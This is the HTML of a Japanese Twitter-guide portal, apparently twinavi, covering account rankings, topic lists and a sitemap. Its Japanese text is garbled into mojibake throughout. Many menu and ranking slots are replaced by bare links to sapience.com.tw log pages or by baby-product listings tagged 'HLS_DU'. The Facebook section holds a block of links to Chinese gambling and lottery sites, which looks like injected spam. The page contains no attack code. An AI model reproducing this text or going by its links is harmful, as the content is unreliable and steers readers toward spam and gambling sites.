<li class="home-buzzlink dotted"><a href="http://sapience.com.tw/logs/site-nipponki/02021640716.html">http://sapience.com.tw/logs/site-nipponki/02021640716.html</a></li>
<li class="home-buzzlink dotted"><a href="http://sapience.com.tw/logs/site-nipponki/02021634331.html">http://sapience.com.tw/logs/site-nipponki/02021634331.html</a></li>
<li class="home-buzzlink dotted"><a href="" class="">ãµã¦ã¸ãã¤ã©ã³ã¨å¤äº¤é¢ä¿æçµ¶ã大使館襲æåã</a></li>
</ul>
<a href="" class="xsmall">ãä¸è¦§ã¸ã</a>
</div>
</div>
</div>
</section>
<!-- TWINAVI NEWS -->
<section id="home-news" class="section">
<h1 class="section-title small navi"><a href="">ãã¤ããã®ãããã</a></h1>
<div class="">
<ul>
<li class="column home-news-box home-news-box0">
<span class="column icon-m">
<a href="http://twinavi.jp/topics/culture/55c5bc46-19f0-4ba7-a2c5-3812ac133a21"><img src="http://twinavi.jp/articles/wp-content/uploads/2015/09/aekanaru-fig3.jpg" class="article-thumbnail" alt="" /></a>
</span>
<span class="giftext icon-m small">
<a href="">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
,ã¿ã³ãã ã¯ã³ ãã«ãã©ãã¯ æ¥æ¬è²å
Nihonikuji Safty1st ããã¼ã«ã¼?ãã®ã¼ äºäººä¹ãããã¼ã«ã¼</a>
</span>
</li>
<li class="column home-news-box home-news-box1">
<span class="column icon-m">
<a href=""><img src="" class="article-thumbnail" alt="" /></a>
</span>
<span class="giftext icon-m small">
<a href="">ãã¤ãã¿ã¼ãã«ã¼ã«ã¨ããªã·ã¼ãæ¹å®ããã©ã¤ãã·ã¼ä¿è·ã¨ãæ»æçè¡çºã®ç¦æ¢ãããæç¢ºã«</a>
</span>
</li>
<div class="clearfix"></div>
<li class="column home-news-box home-news-box2">
<span class="column icon-m">
<a href=""><img src="" class="article-thumbnail" alt="" /></a>
</span>
<span class="giftext icon-m small">
<a href="http://sapience.com.tw/logs/site-nipponki/02021646518.html">http://sapience.com.tw/logs/site-nipponki/02021646518.html</a>
</span>
</li>
<li class="column home-news-box home-news-box3">
<span class="column icon-m">
<a href=""><img src="" class="article-thumbnail" alt="" /></a>
</span>
<span class="giftext icon-m small">
<a href="">大éªã»å°é¢¨ã»ç½å®³ã»äº¤éã»ã©ã¤ãã©ã¤ã³ã®æ
å ±ãªã³ã¯é</a>
</span>
</li>
</ul>
<div class="clearfix"></div>
</div>
</section>
<!-- //TWINAVI NEWS -->
<div class="column main-right">
<section id="home-accountranking" class="section">
<h1 class="section-title navi small"><a href="">ãã¤ãã¿ã¼äººæ°ã¢ã«ã¦ã³ãã»ã©ã³ãã³ã°</a></h1>
<span class="caution uptime xxsmall">1/4æ´æ°</span>
<div class="home-accountcategory tabwrapper s">
<ul>
<li class="li-tab"><a id="tab-account1" class="tab-selector-account tab s xsmall on">ç·å</a></li>
<li class="li-tab"><a id="tab-account2" class="tab-selector-account tab s xsmall">æå人ã»è¸è½äºº</a></li>
<li class="li-tab"><a id="tab-account3" class="tab-selector-account tab s xsmall">ç¹å¥ãã¼ã¸?ãã®ä»</a></li>
<li class="li-tab"><a id="tab-account4" class="tab-selector-account tab s xsmall">ãã¥ã¼ã¸ã·ã£ã³</a></li>
<li class="li-tab"><a id="tab-account5" class="tab-selector-account tab last s xsmall">éå
·ï¼ã¢ã¬ããï¼</a></li>
</ul>
<div class="clearfix"></div>
</div>
<div id="tab-account1-content-account" class="tab-content tab-content-account on">
<div class="section-body">
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank1">1</span>
<img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon l" />
</span>
<span class="xsmall">GACKT</span></a>
</div>
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank2">2</span>
<img src="http://pbs.twimg.com/profile_images/583313979763617792/SnAobnzc_bigger.jpg" alt="ãã£ãããããã¥ããã©ã³ã³ãã¼ã¯" class="icon l" />
</span>
<span class="xsmall">ã¬ããã¹</span></a>
</div>
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank3">3</span>
<img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon l" />
</span>
<span class="xsmall">SHOPLIST</span></a>
</div>
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank4">4</span>
<img src="http://pbs.twimg.com/profile_images/667352898687205377/7zMXkcFD_bigger.jpg" alt="西å
ã¾ãã" class="icon l" />
</span>
<span class="xsmall">西å
ã¾ãã</span></a>
</div>
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank5">5</span>
<img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ã·ã§ããã¸ã£ãã³ãå
¬å¼ã" class="icon l" />
</span>
<span class="xsmall">ã·ã§ãã...</span></a>
</div>
<div class="clearfix"></div>
</div>
<div class="section-footer endline">
<a href="" class="link-more">æ¨è£½ããã¼ãµã¼ã¯ã«123 6æã»ããï¼ãã¯ã¤ãï¼ãªãªã¸ãã« ããã¼ãµã¼ã¯ã«ãHLS_DUã</a>
</div>
</div>
<section id="home-articleranking" class="section">
<h1 class="section-title small navi"><a href="/topics">話é¡ã¢ã¯ã»ã¹ã©ã³ãã³ã°</a></h1>
<div class="section-body">
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://api.rethumb.com/v1/width/500/http://news.tv-asahi.co.jp/articles_img/000054140_640.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ãã¥ã¼ã¹</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021641184.html">http://sapience.com.tw/logs/site-nipponki/02021641184.html</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021634143.html">http://sapience.com.tw/logs/site-nipponki/02021634143.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>POP Duo ããããã¥ãª ï¼ã¯ã©ã³ããªã¼ï¼ãã¬ã¤ã³ã«ãã¼ä»ã ã·ã«ãã¼ã¯ãã¹ SilverCross POP Sport Duo äºäººä¹ãããã¼ã«ã¼ãHLS_DUã</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://natalie.mu/media/comic/1502/0212/extra/news_xlarge_majicalo.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="http://twinavi.jp/topics/entertainment#topics-ranking">ã¨ã³ã¿ã¡</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>æ°éã»é鿝æ¥ãæãç±è¡éæ³å°å¥³ã¢ã¯ã·ã§ã³...</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>ããã¡ããã¨ããã®ããã¼ããããªãªã¼1.2.3 ï¼ãã¯ã¤ãï¼ãå½åºã®ã¿ ãªãªã¸ãã«ååãããã ããã¼ãµã¼ã¯ã«ãHLS_DUã,ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021649295.html">http://sapience.com.tw/logs/site-nipponki/02021649295.html</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://pbs.twimg.com/media/CXxje1GUMAAo8pE.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ãªã¢ã·ã</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>ãã³ãã¨åçã®é¢ä¿æ§ã«ã¤ãã¦ã</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021635866.html">http://sapience.com.tw/logs/site-nipponki/02021635866.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>åä¾ãã¡ã«ãããããã¹ã¦ã®å¤§äººãã¡ã¸ããã¾...</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="/topics/lifestyle/560bcdc1-aa20-49c0-aa74-6230ac133a21" class="block"><img src="http://twinavi.jp/articles/wp-content/uploads/2015/11/tweet-alt-pic.png" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ã©ã¤ãã¹ã¿ã¤ã«</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021647788.html">http://sapience.com.tw/logs/site-nipponki/02021647788.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>æ¯ãä¸å¹¸ãªã®ã¯ãããã®ããã§ã¯ãªããããã...</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>ã©ã³ã㣠Runfeeï¼ã¢ãã¯ãã¹ãã©ã¤ãï¼ ãã¸ã§ã³ pigeon ããã¼ã«ã¼?ãã®ã¼ Aåããã¼ã«ã¼ 両対é¢å¼ ãã¤ãã¸ã·ã§ã³ã·ã¼ã ããããªã¿ã¤ã¤</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="/img/topics/thumbnail/internetcom.gif?1450773495" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">IT</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>Google ã«ã¬ã³ãã¼ã®ãã¼ã¿ã Excel ã«ã¨ã¯ã¹...</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021635920.html">http://sapience.com.tw/logs/site-nipponki/02021635920.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>å®¶æã§ä½¿ããããLINEã¹ã¿ã³ãç»å ´--ãæ´æ¿¯ã...</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://www.gizmodo.jp/images/2015/12/151225arcticwinter.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ã«ã«ãã£ã¼</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>ãã¤ãã¼ãããï¼ãã§ã¢ ã³ã³?ãã¼ã ã¢ãããªã« Apricaã³ã³ãã¼ã ããã¼ã©ã㯠ããã¼ãã§ã¢ ãªã¯ã©ã¤ãã³ã°</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>æµ·ã®ä¸ã¯ãã¼ãã«é«ãããâ¦SpaceXãã¤ãã«å°...</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021633971.html">http://sapience.com.tw/logs/site-nipponki/02021633971.html</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://f.image.geki.jp/data/image/news/2560/154000/153676/news_153676_1.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ã¹ãã¼ã</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>徳島ãDFææ¾ã®å¥ç´æºäºãçºè¡¨</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021637632.html">http://sapience.com.tw/logs/site-nipponki/02021637632.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>ãå½¼ãã¯ç´ æ´ããã鏿ãåæ§ç£¨ããç¥å¥å·ç...</a></li>
</ol>
</div>
<div class="clearfix"></div>
</div>
</section>
<section id="home-faq" class="section">
<h1 class="section-title small navi"><a href="">Twitterä½¿ãæ¹ã¬ã¤ãããããã質åã¢ã¯ã»ã¹ã©ã³ãã³ã°</a></h1>
<div class="section-body">
<ol>
<li class="small list-l lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021639684.html">http://sapience.com.tw/logs/site-nipponki/02021639684.html</a></li>
<li class="small list-l lined"><a href="" class="ranking"><span class="rank rank2">2</span>èªåã®ãã¤ã¼ããåé¤ããã«ã¯ã©ããããããã§ããï¼</a></li>
<li class="small list-l lined"><a href="" class="ranking"><span class="rank rank3">3</span>ããããã ã°ã¬ã¼ã¸ã¥ï¼ã°ã¬ã¼ã¸ã¥ï¼ ã«ãã¼ã¸ Katoji å®¶å
·?ããã ããã¼ããã ãHLS_DUã</a></li>
</ol>
</div>
<div class="section-footer">
<a href="" class="link-more">ãã£ã¨ç¥ãããï¼ãTwitterä½¿ãæ¹ã¬ã¤ãã</a>
</div>
</section>
</div>
</div>
<aside class="column sub">
<section id="twinavi-tweet" class="section">
<h1 class="section-title small">ææ°ã®ãã¤ãããã¤ã¼ã</h1>
<div class="section-body">
<p class="small">ã話é¡ã®ãã¤ã¼ããç§ããâªãæãä¼ãããâª ç·æ¥åºåãâªãã£ã¦æãã°ãåä¾éã¯â¦ <a rel="nofollow" target="_blank" href="">ããã·ã³ã· ãã¼ã« ï¼ã¹ãã¤ã·ã¼ãã³ã¯ï¼ Maxi-Cosi Pearl ãã£ã¤ã«ãã·ã¼ã ã¸ã¥ãã¢ã·ã¼ã MaxicosiãHLS_DUã</a></p>
</div>
<div class="follow_sidebar follow_twitter">
<span class="altimg hukidashi"></span>
<div class="column">
<a href="" title="ãã¤ããã®Twitterã¢ã«ã¦ã³ã" class="altimg icon m ic-twinavi">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
<</a>
</div>
<div class="giftext icon-m">
<a href="" title="ãã¤ããã®Twitterã¢ã«ã¦ã³ã" class="small">Twitterã®ææ°æ
å ±ããã§ãã¯ãããï¼</a>
<a href="https://twitter.com/" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="true">ããã©ãã¼</a>
</div>
<div class="clearfix"></div>
</div>
</section>
<section id="facebook" class="section">
<p class="small">Facebook<a href="http://www.xpj3344111.com/">ÐÂÆÏ¾©ÓéÀÖ</a>
<a href="http://www.zq3344111.com/">ÕæÇ®Å£Å£</a>
<a href="http://www.ylc3344111.com/">ÓéÀÖ³Ç</a>
<a href="http://www.xy28tu.com/">pcµ°µ°×ßÊÆÍ¼</a>
<a href="http://www.pcrgs.com/">pcµ°µ°ÔÚÏßÔ¤²âÍø</a>
<a href="http://www.nin168.com/">pcµ°µ°ÐÒÔË28app</a>
<a href="http://www.xinjiapo28app.com/">ÐÂ¼ÓÆÂÐÒÔË28app</a>
<a href="http://www.jianada28app.com/">¼ÓÄôóÐÒÔË28</a>
<a href="http://www.kuai28.com/">ÐÒÔË28¼¼ÇÉ</a>
<a href="http://www.pcdd-app.com/">pcµ°µ°ÐÒÔË28app</a>
<a href="http://www.xy28xiazai.com/">pcµ°µ°×ßÊÆÍ¼</a>
<a href="http://www.8883344111.com/">888ÕæÈËÓéÀÖ</a>
<a href="http://www.uni588.com/web/zhongbanghaotie/25562.html">È«Ñ¶Íø</a>
<a href="http://www.uni588.com/web/zhongbanghaotie/25563.html">ÕæÈËţţ</a>
<a href="http://www.yl3344111.com/">ÓÀÀûÓéÀÖ</a>
<a href="http://www.qx3344111.com/">È«Ñ¶Íø</a>
<a href="http://www.zr3344111.com/">888ÕæÈËÓéÀÖ</a>
<a href="http://www.xy28uu.com/">xy28Ô¤²â</a></p>
<div class="follow_fb"><div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="55" data-show-faces="false"></div></div>
</section>
<section id="home-side-account" class="section">
<h1 class="section-title small sub"><a href="">æåã¢ã«ã¦ã³ããæ¢ã</a></h1>
<div class="section-body-sub">
<ul>
<li>
<a href="" class="lined all block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ç·å<br />
<span class="num mute xsmall">71,071人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
æå人ã»è¸è½äºº<br />
<span class="num mute xsmall">2,867人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/680394216774619138/6MmJRmsb_bigger.jpg" alt="ã¿ã¯ã¼ã¬ã³ã¼ãå·å´åº(éç§°:ã¿ã¯å´)" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ã¨ã³ã¿ã¡<br />
<span class="num mute xsmall">3,226人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
<span style="letter-spacing:-2px">ãããã»ãã§ãã</span><br />
<span class="num mute xsmall">6,128人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ã·ã§ããã¸ã£ãã³ãå
¬å¼ã" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ã¡ãã£ã¢<br />
<span class="num mute xsmall">ã©ãã¯?ãã¤ãã¼ãããï¼ã³ã³ãï¼</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/428453450527940609/6BmKmb99_bigger.jpeg" alt="æå·å¸æå±±åç©åï¼»å
¬å¼ï¼½" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
社ä¼ã»æ¿æ²»<br />
<span class="num mute xsmall">886人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/1245987829/tokoro_san_bigger.jpg" alt="æè±ç·" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ã¹ãã¼ã<br />
<span class="num mute xsmall">1,080人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined last block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/666407537084796928/YBGgi9BO_bigger.png" alt="Twitter" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ãã¸ãã¹ã»çµæ¸<br />
<span class="num mute xsmall">ã©ãã¯?ãã¤ãã¼ãããï¼ãã§ã¢</span>
</span>
</a>
</li>
<li>
<a href="" class="lined last block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ãµã¼ãã¹<br />
<span class="num mute xsmall">3,871人</span>
</span>
</a>
</li>
</ul>
<div class="clearfix"></div>
</div>
</section>
<section class="section">
<h1 class="section-title small sub"><a href="">ãã¤ãã¿ã¼ä½¿ãæ¹ã¬ã¤ã</a></h1>
<div class="section-body-sub">
<ul>
<li class="small dotted lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021634945.html">http://sapience.com.tw/logs/site-nipponki/02021634945.html</a></li>
<li class="small dotted lined"><a href="">åºæ¬çãªä½¿ãæ¹</a></li>
<li class="small dotted lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021649424.html">http://sapience.com.tw/logs/site-nipponki/02021649424.html</a></li>
<li class="small dotted lined"><a href="">FAQ ãããã質å</a></li>
<li class="small dotted lined last" last><a href="">ã¢ã³ãã³ãã³ã«ãã«ããã¼ã¯</a></li>
</ul>
</div>
</section>
<div class="section section-fbwidget">
<div class="section-title small sub">Facebook</div>
<div class="fb-like-box" data-href="http://www.facebook.com/" data-width="292" data-height="255" data-colorscheme="light" data-show-faces="true" data-header="false" data-stream="false" data-show-border="false">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</div>
</div>
</aside>
<div class="clearfix"></div>
<nav class="contents">
<br />
<a href="" class="link-top absright">ãã¼ã¸ã®ä¸é¨ã¸</a>
</nav>
</div>
<footer id="pagefooter" class="wrapper">
<div class="contents">
<nav>
<ul id="sitemap">
<li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-topics">話é¡</a></span>
<ul>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021638561.html">http://sapience.com.tw/logs/site-nipponki/02021638561.html</a></li>
<li><a href="">ãã¥ã¼ã¹</a></li>
<li><a href="">ããã¡ãï¼ãã³ãã¤ï¼</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021635996.html">http://sapience.com.tw/logs/site-nipponki/02021635996.html</a></li>
<li><a href="">ã¨ã³ã¿ã¡</a></li>
<li><a href="">IT</a></li>
<li><a href="">ã«ã«ãã£ã¼</a></li>
<li><a href="">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</a></li>
<li><a href="">ãç¥ãã</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-matome">ã¾ã¨ã</a></span>
<ul>
<li><a href="http://twinavi.jp/matome/category/%E3%82%B3%E3%83%9F%E3%83%83%E3%82%AF%E3%83%BB%E3%82%A2%E3%83%8B%E3%83%A1">ã³ããã¯ã»ã¢ãã¡</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%82%B2%E3%83%BC%E3%83%A0">ã²ã¼ã </a></li>
<li><a href="">æ ç»</a></li>
<li><a href="" class="div-inner small on">TVçªçµ</a></li>
<li><a href="">è¸è½ï¼æµ·å¤ï¼</a></li>
<li><a href="http://twinavi.jp/matome/category/%E8%8A%B8%E8%83%BD%EF%BC%88%E5%9B%BD%E5%86%85%EF%BC%89">è¸è½ï¼å½å
ï¼</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%83%97%E3%83%AD%E9%87%8E%E7%90%83">ããéç</a></li>
<li><a href="">Jãªã¼ã°</a></li>
<li><a href="">ã¢ã³ãã³ãã³ã«ã©ã¼ããã</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%82%AC%E3%82%B8%E3%82%A7%E3%83%83%E3%83%88">ã¬ã¸ã§ãã</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021641769.html">http://sapience.com.tw/logs/site-nipponki/02021641769.html</a></li>
<li><a href="">ãã£ã¤ã«ã?ã¸ã¥ãã¢ã·ã¼ã</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021644907.html">http://sapience.com.tw/logs/site-nipponki/02021644907.html</a></li>
<li><a href="">IT</a></li>
<li><a href="http://twinavi.jp/matome/category/%E9%9F%B3%E6%A5%BD">鳿¥½</a></li>
<li><a href="">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</a></li>
<li><a href="">社ä¼</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021645620.html">http://sapience.com.tw/logs/site-nipponki/02021645620.html</a></li>
</ul>
<br class="block clearfix"><br>
</li>
<li class="sitemap-block">
<span class="top-sitemap"><a href="http://sapience.com.tw/logs/site-nipponki/02021634945.html">http://sapience.com.tw/logs/site-nipponki/02021634945.html</a></span>
<ul>
<li><a href="">ã¤ã³ã¿ãã¥ã¼ ä¸è¦§</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-account">Twitter</a></span>
<ul>
<li><a href="./index.html">ç·å</a></li>
<li><a href="http://twinavi.jp/account/list/%E6%9C%89%E5%90%8D%E4%BA%BA%E3%83%BB%E8%8A%B8%E8%83%BD%E4%BA%BA">æå人ã»è¸è½äºº</a></li>
<li><a href="">ã¨ã³ã¿ã¡</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021634983.html">http://sapience.com.tw/logs/site-nipponki/02021634983.html</a></li>
<li><a href="">ã¡ãã£ã¢</a></li>
<li><a href="http://twinavi.jp/account/list/%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%BB%E7%B5%8C%E6%B8%88">ãã¸ãã¹ã»çµæ¸</a></li>
<li><a href="">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</a></li>
<li><a href="">ã¹ãã¼ã</a></li>
<li><a href="">ãµã¼ãã¹</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021642339.html">http://sapience.com.tw/logs/site-nipponki/02021642339.html</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-topics">ç¹å¥ä¼ç»</a></span>
<ul>
<li class="clearfix"><a href="">ã¢ã³ã±ã¼ã</a></li>
<li><a href="">鏿</a></li>
</ul>
</li>
<li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-guide">Twitterä½¿ãæ¹ã¬ã¤ã</a></span>
<ul>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021644134.html">http://sapience.com.tw/logs/site-nipponki/02021644134.html</a></li>
<li><a href="">Twitterã¨ã¯</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021635106.html">http://sapience.com.tw/logs/site-nipponki/02021635106.html</a></li>
<li><a href="">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</a></li>
<li><a href="">ãããã質å</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021642182.html">http://sapience.com.tw/logs/site-nipponki/02021642182.html</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-twitter">ãã¤ãã¿ã¼æ¤ç´¢</a></span>
<ul>
<li><a href="">ãã¼ã¯ã¼ãæ¤ç´¢</a></li>
<li><a href="">ã¦ã¼ã¶ã¼ä¼è©±æ¤ç´¢</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-help">ãã¤ãããã«ã</a></span>
<ul>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021644506.html">http://sapience.com.tw/logs/site-nipponki/02021644506.html</a></li>
<li><a href="">ãããã質å</a></li>
</ul>
</li>
</ul>
</nav>
<div class="clearfix"></div>
</div>
<div id="footer-giftext">
<div class="contents">
<!-- giftext -->
<div class="column footer-giftext">
<div class="column">
<a href="http://sapience.com.tw/logs/site-nipponki/02021636602.html">http://sapience.com.tw/logs/site-nipponki/02021636602.html</a>
</div>
<div class="giftext icon-m">
<span class="subtitle">ãã¤ããå
¬å¼Twitter</span>
<a href="" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="false">ãããããï¼ãã¯ã¤ãï¼ ã«ãã¼ã¸ KATOJI ããã¼ããã ã³ã³ãã¯ããHLS_DUã</a>
</div>
</div>
<div class="column footer-giftext">
<div class="column">
<a href="https://www.facebook.com/" target="_blank" class="altimg icon m ic-facebook">facebook</a>
</div>
<div class="giftext icon-m">
<span class="subtitle">ãã¤ããå
¬å¼Facebook</span>
<div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="200" data-show-faces="false">ã¹ã¯ã¼ã¿ã¼ï¼ããã·ã¥ãã¤ã¯ï¼ã¬ããï¼ã©ã³ã°ã¹ã¸ã£ãã³ RANGS JAPANã®ããã® è¶³ãããHLS_DUã
</div>
</div>
</div>
<div class="column footer-giftext twinavismart">
<div class="column">
<a href="" class="altimg icon m ic-twinavismart">ãã¤ããforã¹ãã¼ããã©ã³</a>
</div>
<div class="giftext icon-m">
<span class="subtitle"><a href="">ãã¤ããforã¹ãã¼ããã©ã³</a></span>
<span class="xsmall"><a href="">ã¹ãã¼ããã©ã³ã§ã¢ã¯ã»ã¹ï¼</a></span>
</div>
</div>
<!-- //giftext -->
<div class="clearfix"></div>
</div>
</div>
<div class="contents last">
<ul id="docs" class="centered xsmall">
<li><a href="">ãã¤ãã ãã¼ã </a></li>
<li><a href="">å©ç¨è¦ç´</a></li>
<li><a href="http://www.garage.co.jp/corporate/policy/index.html" target="_blank">å人æ
å ±ä¿è·æ¹é</a></li>
<li><a href="">å¥å
¨åã«é¢ããæé</a></li>
